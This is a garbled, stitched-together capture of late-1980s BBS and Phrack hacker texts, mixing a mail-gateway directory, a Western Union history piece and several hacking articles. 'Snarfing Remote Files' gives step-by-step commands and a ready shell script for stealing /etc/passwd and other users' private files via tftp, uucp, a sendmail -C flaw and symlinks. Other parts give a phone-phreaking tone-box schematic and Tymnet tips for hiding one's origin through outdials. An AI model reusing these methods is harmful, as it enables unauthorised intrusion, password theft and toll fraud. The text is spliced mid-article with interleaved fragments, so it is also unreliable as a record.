  12410. Telecom Gold            Malta               100              75
  12411. Dialcom                 Mexico              1                52
  12412. Memocom                 Netherlands         124              27, 28, 29
  12413. Memocom                 Netherlands         1                55
  12414. Starnet                 New Zealand         64               01, 02
  12415. Dialcom                 Puerto Rico         58               25
  12416. Telebox                 Singapore           88               10, 11, 12
  12417. Dialcom                 Taiwan              1                52
  12418. Telecom Gold            United Kingdom      100              01, 04, 17,
  12419. 80-89
  12420. DIALCOM                 USA                 1                29, 30, 31,
  12421. 32,
  12422.                                                              33, 34, 37,
  12423. 38,
  12424.                                                              41-59, 61, 62,
  12425. 63,
  12426.                                                              90-99
  12427.  
  12428.  NOTE:  You can also mail to username@NASAMAIL.NASA.GOV or
  12429.         username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway
  12430. to
  12431.         mail to NASAMAIL or GSFCMAIL.
  12432.  
  12433. For more information and instructions on how to use CMR, send a message to
  12434. the
  12435. user support group at intermail-request@intermail.isi.edu (you'll get
  12436.  
  12437.  
  12438. basically
  12439. what I've listed plus maybe a bit more).  Please read Chapter 3 of The
  12440. Future
  12441. Transcendent Saga (Limbo to Infinity) for specifics on mailing to these
  12442. destination mailing systems.
  12443.  
  12444. COMPUSERVE
  12445. ~~~~~~~~~~
  12446. CompuServe is well known for its games and conferences.  It does, though,
  12447. have
  12448. mailing capability.  Now, they have developed their own Internet domain,
  12449. called
  12450. COMPUSERVE.COM.  It is relatively new and mail can be routed through either
  12451. TUT.CIS.OHIO-STATE.EDU or NORTHWESTERN.ARPA.
  12452.  
  12453. Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace
  12454.          TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA).
  12455.  
  12456. The CompuServe link appears to be a polled UUCP connection at the gateway
  12457. machine.  It is actually managed via a set of shell scripts and a comm
  12458. utility
  12459. called xcomm, which operates via command scripts built on the fly by the
  12460. shell
  12461. scripts during analysis of what jobs exist to go into and out of
  12462. CompuServe.
  12463.  
  12464. CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as
  12465. 7xxxx.yyyy@compuserve.com.  CompuServe employees can be addressed by their
  12466. usernames in the csi.compuserve.com subdomain.  CIS subscribers write mail
  12467. to
  12468. ">inet:user@host.domain" to mail to users on the Wide-Area Networks, where
  12469. ">gateway:" is CompuServe's internal gateway access syntax.  The gateway
  12470. generates fully-RFC-compliant headers.
  12471.  
  12472. To fully extrapolate -- from the CompuServe side, you would use their
  12473. EasyPlex
  12474. mail system to send mail to someone in BITNET or the Internet.   For
  12475. example,
  12476. to send me mail at my Bitnet id, you would address it to:
  12477.  
  12478.             INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU
  12479.  
  12480. Or to my Internet id:
  12481.  
  12482.             INET:C488869@UMCVMB.MISSOURI.EDU
  12483.  
  12484. Now, if you have a BITNET to Internet userid, this is a silly thing to do,
  12485. since your connect time to CompuServe costs you money.  However, you can
  12486. use
  12487. this information to let people on CompuServe contact YOU.  CompuServe
  12488. Customer
  12489. Service says that there is no charge to either receive or send a message to
  12490. the
  12491. Internet or BITNET.
  12492.  
  12493. DASNET
  12494. ~~~~~~
  12495. DASnet is a smaller network that connects to the Wide-Area Networks but
  12496.  
  12497.  
  12498. charges
  12499. for their service.  DASnet subscribers get charged for both mail to users
  12500. on
  12501. other networks AND mail for them from users of other networks.  The
  12502. following
  12503. is a brief description of DASnet, some of which was taken from their
  12504. promotional text letter.
  12505.  
  12506. DASnet allows you to exchange electronic mail with people on more than 20
  12507. systems and networks that are interconnected with DASnet.  One of the
  12508. drawbacks, though, is that, after being subscribed to these services, you
  12509. must
  12510. then subscribe to DASnet, which is a separate cost.  Members of Wide-Area
  12511. networks can subscribe to DASnet too.  Some of the networks and systems
  12512. reachable through DASnet include the following:
  12513.  
  12514.      ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network,
  12515.      Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI,
  12516.      PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source,
  12517.      Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP,
  12518. The
  12519.      WELL, and Domains (i.e. ".COM" and ".EDU" etc.).  New systems are
  12520. added
  12521.      all of the time.  As of the writing of this file, Connect, GoverNET,
  12522.      MacNET, and The American Institute of Physics PI-MAIL are soon to be
  12523.      connected.
  12524.  
  12525. You can get various accounts on DASnet including:
  12526.  
  12527.   o  Corporate Accounts -- If your organization wants more than one
  12528. individual
  12529.                            subscription.
  12530.   o  Site Subscriptions -- If you want DASnet to link directly to your
  12531.              SAGE **
  12532. #EOI
  12533.  
  12534.  
  12535.  
  12536. [M] PHRACK: Type
  12537.  
  12538. Enter Filename :
  12539.  
  12540. [M] PHRACK: Type
  12541.  
  12542. Enter Filename :
  12543.  
  12544. [M] PHRACK: Type
  12545.  
  12546. Enter Filename :
  12547.  
  12548. [M] PHRACK: Type
  12549.  
  12550. Enter Filename :
  12551.  
  12552. [M] PHRACK: Type
  12553.  
  12554. Enter Filename :
  12555.  
  12556.  
  12557.  
  12558. [M] PHRACK: Type
  12559.  
  12560. Enter Filename :
  12561.  
  12562. [M] PHRACK: Type
  12563.  
  12564. Enter Filename :
  12565.  
  12566. [M] PHRACK: Type
  12567.  
  12568. Enter Filename :
  12569.  
  12570. [M] PHRACK: Type
  12571.  
  12572. Enter Filename :
  12573.  
  12574.                                 ==Phrack Inc.==
  12575.  
  12576.                      Volume Three, Issue 28, File #5 of 12
  12577.  
  12578.                   /////////////////////\\\\\\\\\\\\\\\\\\\\\
  12579.                  ||                                        ||
  12580.                  || A Real Functioning PEARL BOX Schematic ||
  12581.                  ||                                        ||
  12582.                  ||        Written, Tested, and Used       ||
  12583.                  ||                                        ||
  12584.                  ||               by Dispater              ||
  12585.                  ||                                        ||
  12586.                  ||              July 1, 1989              ||
  12587.                  ||                                        ||
  12588.                   \\\\\\\\\\\\\\\\\\\\\/////////////////////
  12589.  
  12590.  
  12591. Introduction:  After reading the earlier renditions of schematics for the
  12592. Pearl
  12593.                Box, I decided that there was an easier and cheaper way of
  12594. doing
  12595.                the same thing with an IC and parts you probably have just
  12596.                laying around the house.
  12597.  
  12598.  
  12599. What Is A Pearl Box and Why Do I Want One?
  12600.  
  12601.      A Pearl Box is a tone generating device that is used to make a wide
  12602. range
  12603.      of single tones.  Therefore, it would be very easy to modify this
  12604. basic
  12605.      design to make a Blue Box by making 2 Pearl Boxes and joining them
  12606.      together in some fashion.
  12607.  
  12608.      A Pearl Box can be used to create any tone you wish that other boxes
  12609. may
  12610.      not.  It also has a tone sweep option that can be used for numerous
  12611. things
  12612.      like detecting different types of phone tapping devices.
  12613.  
  12614.  
  12615. Parts List:
  12616.  
  12617.  
  12618.  
  12619.         CD4049 RCA integrated circuit
  12620.         .1 uF disk capacitor
  12621.         1 uF 16V electrolitic capacitor
  12622.         1K resistor
  12623.         10M resistor
  12624.         1meg pot
  12625.         1N914 diode
  12626.         Some SPST momentary push-button switches
  12627.         1 SPDT toggle switch
  12628.         9 Volt battery & clip
  12629.         and miscellaneous stuff you should have laying around the house.
  12630.  
  12631.  
  12632. State-of-the-Art-Text Schematic:
  12633.                                        +  16V  1uF -
  12634.               _______________________________||_____
  12635.              |        !     !                ||     |           _
  12636.              |   _______________________            |__________| |/| 8ohms
  12637.          ____|__|_____:__|__:__|_       |            __________| | |
  12638.         | 9 10 11 12 13 14 15 16 |      |           |          |_|\|
  12639.         |        CD4049UBE       |      |           |
  12640.         |_1__2__3__4__5__6__7__8_|      :           |          _
  12641.           |  |  |__|  |__|  |  |____________________|_________[-]
  12642.           |  |  !           !           :                     [b]
  12643.           |  |__________________________|                     [a]
  12644.           |     :           :           |                     [t]
  12645.           |     !    1N914  !           !                     [t]
  12646.           |___________|/|_____________________________________[+]
  12647.                 :     |\|   :           :
  12648.                 |           |           |
  12649.                 |    10M    |           |
  12650.                 |___/\/\/\__|           |
  12651.                 |           |           |
  12652.                 |_____||____|           |  <-- These 2 wires to the center
  12653. pole
  12654.                       ||    |           |      of switch.
  12655.                  .1uF   50V |           |
  12656.                             |           |
  12657.      _______________________|           |_____________________________
  12658.     |                   ___[Toggle Switch]____________                |
  12659.     |                  |                              |          ___  |
  12660.     |                  |                              |          o o  |
  12661.     |                  |                              | /\/\/\___| |__|
  12662.     |_/\/\/\____/\/\/\ |                              |    ^          |
  12663.         1K         ^   |                              |____|     ___  |
  12664.                    |___|                              |          o o  |
  12665.                                                       | /\/\/\___| |__|
  12666.           (pAakala                 Administrator:  Gary W. Krumbine
  12667. Gen Directorate Of Post &                   AT&T Information Systems
  12668. Phone:  35806921730                         Lincroft, NJ  07738
  12669.                                             Phone:  +1 201 576 2658
  12670.  
  12671. MHS Gateway:  mhs!telemail                  MHS Gateway:  mhs
  12672. Administrator:  Jim Kelsay                  Administrator:  AT&T Mail MHS
  12673. GTE Telenet Comm Corp                                       Gateway
  12674. Reston, VA  22096                           AT&T
  12675. Phone:  +1 703 689 6034                     Lincroft, NJ  08838
  12676.  
  12677.  
  12678.                                             Phone:  +1 800 624 5672
  12679.  
  12680. CMR
  12681. ~~~
  12682. Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
  12683. mail relay service between the Internet and three commercial electronic
  12684. mail
  12685. systems:  US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
  12686. NSFMAIL, and USDA-MAIL).
  12687.  
  12688. An important note:  The only requirement for using this mail gateway is
  12689. that
  12690. the work conducted
  12691.  
  12692.                                ==Phrack Inc.==
  12693.  
  12694.                      Volume Three, Issue 28, File #6 of 12
  12695.                      +++++++++++++++++++++++++++++++++++++
  12696.                      +                                   +
  12697.                      +       Snarfing Remote Files       +
  12698.                      +                                   +
  12699.                      +                by                 +
  12700.                      +                                   +
  12701.                      +           Dark OverLord           +
  12702.                      +                                   +
  12703.                      +++++++++++++++++++++++++++++++++++++
  12704.  
  12705. There are many ways of getting copies of files from a remote system that
  12706. you
  12707. do not have permission to read or an account on login on to and access them
  12708. through.  Many administrators do not even bother to restrict many access
  12709. points that you can use.
  12710.  
  12711. Here are the simplest ways:
  12712.  
  12713.  
  12714. A)  Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
  12715.     of a file if you are running on an Internet based network.
  12716.  
  12717. B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file
  12718.    if uucp connections are running on that system.
  12719.  
  12720. C) Access one of many known security loopholes.
  12721.  
  12722.  
  12723. In the following examples, we will use the passwd file as the file to
  12724. acquire
  12725. since it is a readable file that can be found on most systems that these
  12726. attacks are valid on.
  12727.  
  12728. Method A :
  12729.  
  12730. 1) First start the tftp program:
  12731.     Enter the command:
  12732.  
  12733.  tftp
  12734.  
  12735.     [You have the following prompt:]
  12736.  
  12737.  
  12738.  
  12739.  tftp>
  12740.  
  12741.  
  12742. 2) The next step is to connect to the system that you wish to retrieve
  12743. files
  12744.     from.  At the tftp, type:
  12745.  
  12746.  tftp> connect other.system.com
  12747.  
  12748.  
  12749. 3) Now request the file you wish to get a copy of (in our case, the
  12750.     passwd file /etc/passwd ):
  12751.  
  12752.  tftp> get /etc/passwd /tmp/passwd
  12753.  
  12754.     [You should see something that looks like the following:]
  12755.  
  12756.  Received 185659 bytes in 22 seconds.
  12757.  
  12758. 4) Now exit the tftp program with the "quit" command:
  12759.  
  12760.  tftp> quit
  12761.  
  12762. You should now have a copy of other.system.com's passwd file in your
  12763. directory.
  12764.  
  12765. NOTE:  Some Unix systems' tftp programs have a different syntax.  The above
  12766. was
  12767.        tested under SunOS 4.0
  12768.  
  12769. For example, on Apollos, the syntax is:
  12770.  
  12771.     tftp -{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image]
  12772.  
  12773. Thus you must use the command:
  12774.  
  12775.  tftp -g password_file networked-host /etc/passwd
  12776.  
  12777. Consult your local "man" pages for more info (or in other words RTFM).
  12778.  
  12779. At the end of this article, I will include a shell script that will snarf a
  12780. password file from a remote host.  To use it type:
  12781.  
  12782.  gpw system_name
  12783.  
  12784. Method B :
  12785.  
  12786. Assuming we are getting the file  /etc/passwd  from the system uusucker,
  12787. and
  12788. our system has a direct uucp connection to that system, it is possible to
  12789. request a copy of the file through the uucp links.  The following command
  12790. will
  12791. request that a copy of the passwd file be copied into uucp's home directory
  12792. /usr/spool/uucppublic :
  12793.  
  12794.  uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'
  12795.  
  12796.  
  12797.  
  12798. The flag "-m" means you will be notified by mail when the transfer is
  12799. completed.
  12800.  
  12801. Method C:
  12802.  
  12803.     The third possible way to access the desired file requires that you
  12804. have
  12805. the login permission to the system.
  12806.  
  12807. In this case we will utilize a well-known bug in Unix's sendmail daemon.
  12808.  
  12809. The sendmail program has and option "-C" in which you can specify the
  12810. configuration file to use (by default this file is /usr/lib/sendmail.cf or
  12811. /etc/sendmail.cf).  It should also be noted that the diagnostics outputted
  12812. by
  12813. sendmail contain the offending lines of text.  Also note that the sendmail
  12814. program runs setuid root.
  12815.  
  12816. The way you can abuse this set of facts (if you have not yet guessed) is by
  12817. specifying the file you wish read as the configuration file.  Thus the
  12818. command:
  12819.  
  12820.  sendmail -C/usr/accounts/random_joe/private/file
  12821.  
  12822. Will give you a copy of random joe's private file.
  12823.  
  12824. Another similar trick is to symlink your .mailcf file to joe's file and
  12825. mail
  12826. someone.  When mail executes sendmail (to send the mail), it will load in
  12827. your
  12828. mailcf and barf out joe's stuff.
  12829.  
  12830. First, link joe's file to your .mailcf .
  12831.  
  12832.  ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf
  12833.  
  12834. Next, send mail to someone.
  12835.  
  12836.  mail C488869@umcvmb.missouri.edu
  12837.  
  12838. And have fun.
  12839.  
  12840. -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut
  12841. Here=-=-=-=-=
  12842. :
  12843. : gpw copyright(c) Dark Overlord
  12844. :
  12845. /usr/ucb/tftp $1 << EOF
  12846. mode ascii
  12847. verbose
  12848. trace
  12849. get /etc/passwd /tmp/pw.$1
  12850. quit
  12851. EOF
  12852. -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut
  12853. Here=-=-=-=-=
  12854. ___________________________________________________________________________╝____
  12855.  
  12856.  
  12857. ç** END OF MESSAGE **
  12858. #EOI
  12859.  
  12860.  
  12861.  
  12862. [M] PHRACK: Type
  12863.  
  12864.                                 ==Phrack Inc==
  12865.  
  12866.                     Volume Three, Issue 30, File #10 of 12
  12867.  
  12868.                    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  12869.                    ===                                   ===
  12870.                    ===           Western Union           ===
  12871.                    ===   Telex, TWX, and Time Service    ===
  12872.                    ===                                   ===
  12873.                    ===         by Phone Phanatic         ===
  12874.                    ===                                   ===
  12875.                    ===        September 17, 1989         ===
  12876.                    ===                                   ===
  12877.                    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  12878.  
  12879.          "Until a few years ago -- maybe ten -- it was very common to
  12880.           see TWX and Telex machines in almost every business place."
  12881.  
  12882. There were only minor differences between Telex and TWX.  The biggest
  12883. difference was that the former was always run by Western Union, while the
  12884. latter was run by the Bell System for a number of years.  TWX literally
  12885. meant
  12886. "(T)ype(W)riter e(x)change," and it was Bell's answer to competition from
  12887. Western Union.  There were "three row" and "four row" machines, meaning the
  12888. number of keys on the keyboard and how they were laid out.  The "three row"
  12889. machines were simply part of the regular phone network; that is, they could
  12890. dial out and talk to another TWX also connected on regular phone lines.
  12891.  
  12892. Eventually these were phased out in favor of "newer and more improved"
  12893. machines
  12894. with additional keys, as well as a paper tape reader attachment which
  12895. allowed
  12896. sending the same message repeatedly to many different machines.  These
  12897. "four
  12898. row" machines were not on the regular phone network, but were assigned
  12899. their
  12900. own area codes (410-510-610-710-810-910) where they still remain today.
  12901. The
  12902. only way a four row machine could call a three row machine or vice-versa
  12903. was
  12904. through a gateway of sorts which translated some of the character set
  12905. unique to
  12906. each machine.
  12907.  
  12908. Western Union's network was called Telex and in addition to being able to
  12909. contact (by dial up) other similar machines, Telex could connect with TWX
  12910. (and
  12911. vice-versa) as well as all the Western Union public offices around the
  12912. country.
  12913. Until the late 1950's or early 1960's, every small town in America had a
  12914. Western Union office.  Big cities like Chicago had perhaps a dozen of them,
  12915.  
  12916.  
  12917. and
  12918. they used messengers to hand deliver telegrams around town.  Telegrams
  12919. could be
  12920. placed in person at any public office, or could be called in to the nearest
  12921. public office.
  12922.  
  12923. By arrangement with most telcos, the Western Union office in town nearly
  12924. always
  12925. had the phone number 4321, later supplemented in automated exchanges with
  12926. some
  12927. prefix XXX-4321.  Telegrams could be charged to your home phone bill (this
  12928. is
  12929. still the case in some communities) and from a coin phone, one did not ask
  12930. for
  12931. 4321, but rather, called the operator and asked for Western Union.  This
  12932. was
  12933. necessary since once the telegram had been given verbally to the wire
  12934. clerk,
  12935. s/he in turn had to flash the hook and get your operator back on the line
  12936. to
  12937. tell them "collect five dollars and twenty cents" or whatever the cost was.
  12938. Telegrams, like phone calls, could be sent collect or billed third party.
  12939. If
  12940. you had an account with Western Union, i.e. a Telex machine in your office,
  12941. you
  12942. could charge the calls there, but most likely you would simply send the
  12943. telegram from there in the first place.
  12944.  
  12945. Sometime in the early 1960's, Western Union filed suit against AT&T asking
  12946. that
  12947. they turn over their TWX business to them.  They cited an earlier court
  12948. ruling,
  12949. circa 1950's, which said AT&T was prohibited from acquiring any more
  12950. telephone
  12951. operating companies except under certain conditions.  The Supreme Court
  12952. agreed
  12953. with Western Union that "spoken messages" were the domain of Ma Bell, but
  12954. "written messages" were the domain of Western Union.  So Bell was required
  12955. to
  12956. divest itself of the TWX network, and Western Union has operated it since,
  12957. although a few years ago they began phasing out the phrase "TWX" in favor
  12958. of
  12959. "Telex II"; their original device being "Telex I" of course.  TWX still
  12960. uses
  12961. ten digit dialing with 610 (Canada) or 710/910 (USA) being the leading
  12962. three
  12963. digits.  Apparently 410-510 have been abandoned; or at least they are used
  12964. very
  12965. little, and Bellcore has assigned 510 to the San Francisco area starting in
  12966. a
  12967. year or so.  410 still has some funny things on it, like the Western Union
  12968. "Infomaster," which is a computer that functions like a gateway between
  12969. Telex,
  12970. TWX, EasyLink and some other stuff.
  12971.  
  12972. Today, the Western Union network is but a skeleton of its former self.  Now
  12973. most of their messages are handled on dial up terminals connected to the
  12974. public
  12975.  
  12976.  
  12977. phone network.  It has been estimated the TWX/Telex business is about fifty
  12978. percent of what it was a decade ago, if that much.
  12979.  
  12980. Then there was the Time Service, a neat thing which Western Union offered
  12981. for
  12982. over seventy years, until it was discontinued in the middle 1960's.  The
  12983. Time
  12984. Service provided an important function in the days before alternating
  12985. current
  12986. was commonly available.  For example, Chicago didn't have AC electricity
  12987. until
  12988. about 1945.  Prior to that we used DC, or direct current.
  12989.  
  12990. Well, to run an electric clock, you need 60 cycles AC current for obvious
  12991. reasons, so prior to the conversion from DC power to AC power, electric
  12992. wall
  12993. clocks such as you see in every office were unheard of.  How were people to
  12994. tell the time of day accurately?  Enter the Western Union clock.
  12995.  
  12996. The Western Union, or "telegraph clock" was a spring driven wind up clock,
  12997. but
  12998. with a difference.  The clocks were "perpetually self-winding,"
  12999. manufactured by
  13000. the Self-Winding Clock Company of New York City.  They had large batteries
  13001. inside them, known as "telephone cells" which had a life of about ten years
  13002. each.  A mechanical contrivance in the clock would rotate as the clock
  13003. spring
  13004. unwound, and once each hour would cause two metal clips to contact for
  13005. about
  13006. ten seconds, which would pass juice to the little motor in the clock which
  13007. in
  13008. turn re-wound the main spring.  The principle was the same as the battery
  13009. operated clocks we see today.  The battery does not actually run the clock
  13010. --
  13011. direct current can't do that -- but it does power the tiny motor which
  13012. re-winds
  13013. the spring which actually drives the clock.
  13014.  
  13015. The Western Union clocks came in various sizes and shapes, ranging from the
  13016. smallest dials which were nine inches in diameter to the largest which were
  13017. about eighteen inches in diameter.  Some had sweep second hands; others did
  13018. not.  Some had a little red light bulb on the front which would flash.  The
  13019. typical model was about sixteen inches, and was found in offices, schools,
  13020. transportation depots, radio station offices, and of course in the
  13021. telegraph
  13022. office itself.
  13023.  
  13024. The one thing all the clocks had in common was their brown metal case and
  13025. cream-colored face, with the insignia "Western Union" and their corporate
  13026. logo
  13027. in those days which was a bolt of electricity, sort of like a letter "Z"
  13028. laying
  13029. on its side.  And in somewhat smaller print below, the words "Naval
  13030. Observatory
  13031. Time."
  13032.  
  13033. The local clocks in an office or school or wherever were calibrated by a
  13034. "master clock" (actually a sub-master) on the premises.  Once an hour on
  13035.  
  13036.  
  13037. the
  13038. hour, the (sub) master clock would drop a metal contact for just a half
  13039. second,
  13040. and send about nine volts DC up the line to all the local clocks.  They in
  13041. turn
  13042. had a "tolerance" of about two minutes on both sides of the hour so that
  13043. the
  13044. current coming to them would yank the minute hand exactly upright onto the
  13045. twelve from either direction if the clock was fast or slow.
  13046.  
  13047. The sub-master clocks in each building were in turn serviced by the master
  13048. clock in town; usually this was the one in the telegraph office.  Every
  13049. hour on
  13050. the half hour, the master clock in the telegraph office would throw current
  13051. to
  13052. the sub-masters, yanking them into synch as required.  And as for the
  13053. telegraph
  13054. offices themselves, they were serviced twice a day by -- you guessed it --
  13055. the
  13056. Naval Observatory Master clock in Our Nation's Capitol, by the same
  13057. routine.
  13058. Someone there would press half a dozen buttons at the same time, using all
  13059. available fingers; current would flow to every telegraph office and synch
  13060. all
  13061. the master clocks in every community.  Western Union charged fifty cents
  13062. per
  13063. month for the service, and tossed the clock in for free!  Oh yes, there was
  13064. an
  13065. installation charge of about two dollars when you first had service (i.e. a
  13066. clock) installed.
  13067.  
  13068. The clocks were installed and maintained by the "clockman," a technician
  13069. from
  13070. Western Union who spent his day going around hanging new clocks, taking
  13071. them
  13072. out of service, changing batteries every few years for each clock, etc.
  13073.  
  13074. What a panic it was for them when "war time" (what we now call Daylight
  13075. Savings
  13076. Time) came around each year!  Wally, the guy who serviced all the clocks in
  13077. downtown Chicago had to start on *Thursday* before the Sunday official
  13078. changeover just to finish them all by *Tuesday* following.  He would
  13079. literally
  13080. rush in an office, use his screwdriver to open the case, twirl the hour
  13081. hand
  13082. around one hour forward in the spring, (or eleven hours *forward* in the
  13083. fall
  13084. since the hands could not be moved backward beyond the twelve going
  13085. counterclockwise), slam the case back on, screw it in, and move down the
  13086. hall
  13087. to the next clock and repeat the process.  He could finish several dozen
  13088. clocks
  13089. per day, and usually the office assigned him a helper twice a year for
  13090. these
  13091. events.
  13092.  
  13093. He said they never bothered to line the minute hand up just right, because
  13094. it
  13095.  
  13096.  
  13097. would have taken too long, and ".....anyway, as long as we got it within a
  13098. minute or so, it would synch itself the next time the master clock sent a
  13099. signal..."  Working fast, it took a minute to a minute and a half to open
  13100. the
  13101. case, twirl the minute hand, put the case back on, "stop and b.s. with the
  13102. receptionist for a couple seconds" and move along.
  13103.  
  13104. The master clock sent its signal over regular telco phone lines.  Usually
  13105. it
  13106. would terminate in the main office of whatever place it was, and the (sub)
  13107. master there would take over at that point.
  13108.  
  13109. Wally said it was very important to do a professional job of hanging the
  13110. clock
  13111. to begin with.  It had to be level, and the pendulum had to be just right,
  13112. otherwise the clock would gain or lose more time than could be accommodated
  13113. in
  13114. the hourly synching process.  He said it was a very rare clock that
  13115. actually
  13116. was out by even a minute once an hour, let alone the two minutes of
  13117. tolerance
  13118. built into the gear works.
  13119.  
  13120.      "...Sometimes I would come to work on Monday morning, and find out
  13121.      in the office that the clock line had gone open Friday evening.  So
  13122.      nobody all weekend got a signal.  Usually I would go down a manhole
  13123.      and find it open someplace where one of the Bell guys messed it up,
  13124.      or took it off and never put it back on.  To find out where it was
  13125.      open, someone in the office would 'ring out' the line; I'd go around
  13126.      downtown following the loop as we had it laid out, and keep listening
  13127.      on my headset for it.  When I found the break or the open, I would
  13128.      tie it down again and the office would release the line; but then I
  13129.      had to go to all the clocks *before* that point and restart them,
  13130.      since the constant current from the office during the search had
  13131.      usually caused them to stop."
  13132.  
  13133. But he said, time and again, the clocks were usually so well mounted and
  13134. hung
  13135. that "...it was rare we would find one so far out of synch that we had to
  13136. adjust it manually.  Usually the first signal to make it through once I
  13137. repaired the circuit would yank everyone in town to make up for whatever
  13138. they
  13139. lost or gained over the weekend..."
  13140.  
  13141. In 1965, Western Union decided to discontinue the Time Service.  In a
  13142. nostalgic
  13143. letter to subscribers, they announced their decision to suspend operations
  13144. at
  13145. the end of the current month, but said "for old time's sake" anyone who had
  13146. a
  13147. clock was welcome to keep it and continue using it; there just would not be
  13148. any
  13149. setting signals from the master clocks any longer.
  13150.  
  13151. Within a day or two of the official announcement, every Western Union clock
  13152. in
  13153. the Chicago area headquarters building was gone.  The executives snatched
  13154. them
  13155.  
  13156.  
  13157. off the wall, and took them home for the day when they would have
  13158. historical
  13159. value.  All the clocks in the telegraph offices disappeared about the same
  13160. time, to be replaced with standard office-style electric wall clocks.
  13161. ___________________________________________________________________________╝____
  13162.  
  13163.  
  13164.  
  13165.                                 ==Phrack Inc.==
  13166.  
  13167.                      Volume Three, Issue 30, File #3 of 12
  13168.  
  13169.                [-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
  13170.                [-]                                          [-]
  13171.                [-]             Hacking & Tymnet             [-]
  13172.                [-]                                          [-]
  13173.                [-]                    by                    [-]
  13174.                [-]                                          [-]
  13175.                [-]                Synthecide                [-]
  13176.                [-]                                          [-]
  13177.                [-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
  13178.  
  13179.  
  13180. There are literally hundreds of systems connected to some of these larger
  13181. networks, like Tymnet and Telenet.  Navigation around these networks is
  13182. very
  13183. simple, and usually well explained in their on-line documentation.
  13184. Furthermore, some systems will actually tell you what is connected and how
  13185. to
  13186. get to it.  In the case of Tymnet, after dialing in, at the log in prompt,
  13187. type
  13188. "information" for the on-line documentation.
  13189.  
  13190. Accessing systems through networks is as simple as providing an address for
  13191. it
  13192. to connect to.  The best way to learn about the addresses and how to do
  13193. things
  13194. on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which
  13195. was
  13196. in Issue 22, File 4 of 12, Volume Two (December 23, 1988).  Some points are
  13197. re-iterated here.
  13198.  
  13199. Once on a network, you provide the NUA (network user address) of the system
  13200. you
  13201. wish to connect to.  NUAs are strings of 15 digits, broken up in to 3
  13202. fields,
  13203. the NETWORK ADDRESS, the AREA PREFIX, and the DNIC.  Each field has 5
  13204. digits,
  13205. and are left padded with 0's where necessary.
  13206.  
  13207. The DNIC determines which network to take the address from.  Tymnet, for
  13208. example, is 03106. 03110 is Telenet.
  13209.  
  13210. The AREA PREFIX and NETWORK ADDRESS determine the connection point.  By
  13211. providing the address of the system that you wish to connect to, you will
  13212. be
  13213. accessing it through the net... as if you were calling it directly.
  13214.  
  13215.  
  13216. Obviously,
  13217. then, this provides one more level of security for access.
  13218.  
  13219. By connecting to an outdial, you can increase again the level of security
  13220. you
  13221. enjoy, by using the outdial in that area to connect to the remote system.
  13222.  
  13223. Addendum -- Accessing Tymnet Over Local Packet Networks
  13224.  
  13225. This is just another way to get that extra step and/or bypass other routes.
  13226. This table is copied from Tymnet's on-line information.  As said earlier,
  13227. it's
  13228. a great resource, this on-line information!
  13229.  
  13230.                                  BELL ATLANTIC
  13231.  
  13232.   NODE    CITY                  STATE           SPEED    ACCESS NUMBER
  13233. NTWK
  13234.   ----   -------------------    --------------  ------   ------------
  13235. ----
  13236.   03526   DOVER                 DELAWARE        300/2400 302/734-9465
  13237. @PDN
  13238.   03526   GEORGETOWN            DELAWARE        300/2400 302/856-7055
  13239. @PDN
  13240.   03526   NEWARK                DELAWARE        300/2400 302/366-0800
  13241. @PDN
  13242.   03526   WILMINGTON            DELAWARE        300/1200 302/428-0030
  13243. @PDN
  13244.   03526   WILMINGTON            DELAWARE        2400     302/655-1144
  13245. @PDN
  13246.  
  13247.  
  13248.   06254   WASHINGTON            DIST. OF COL.   300/1200 202/479-7214
  13249. @PDN
  13250.   06254   WASHINGTON (MIDTOWN)  DIST. OF COL.   2400     202/785-1688
  13251. @PDN
  13252.   06254   WASHINGTON (DOWNTOWN) DIST. OF COL.   300/1200 202/393-6003
  13253. @PDN
  13254.   06254   WASHINGTON (MIDTOWN)  DIST. OF COL.   300/1200 202/293-4641
  13255. @PDN
  13256.   06254   WASHINGTON            DIST. OF COL.   300/1200 202/546-5549
  13257. @PDN
  13258.   06254   WASHINGTON            DIST. OF COL.   300/1200 202/328-0619
  13259. @PDN
  13260.  
  13261.   06254   BETHESDA              MARYLAND        300/1200  301/986-9942
  13262. @PDN
  13263.   06254   COLESVILLE            MARYLAND        300/2400  301/989-9324
  13264. @PDN
  13265.   06254   HYATTSVILLE           MARYLAND        300/1200  301/779-9935
  13266. @PDN
  13267.   06254   LAUREL                MARYLAND        300/2400  301/490-9971
  13268. @PDN
  13269.   06254   ROCKVILLE             MARYLAND        300/1200  301/340-9903
  13270. @PDN
  13271.   06254   SILVER SPRING         MARYLAND        300/1200  301/495-9911
  13272. @PDN
  13273.  
  13274.  
  13275.  
  13276.  
  13277.   07771   BERNARDSVILLE         NEW JERSEY      300/2400 201/766-7138
  13278. @PDN
  13279.   07771   CLINTON               NEW JERSEY      300-1200 201/730-8693
  13280. @PDN
  13281.   07771   DOVER                 NEW JERSEY      300/2400 201/361-9211
  13282. @PDN
  13283.   07771   EATONTOWN/RED BANK    NEW JERSEY      300/2400 201/758-8000
  13284. @PDN
  13285.   07771   ELIZABETH             NEW JERSEY      300/2400 201/289-5100
  13286. @PDN
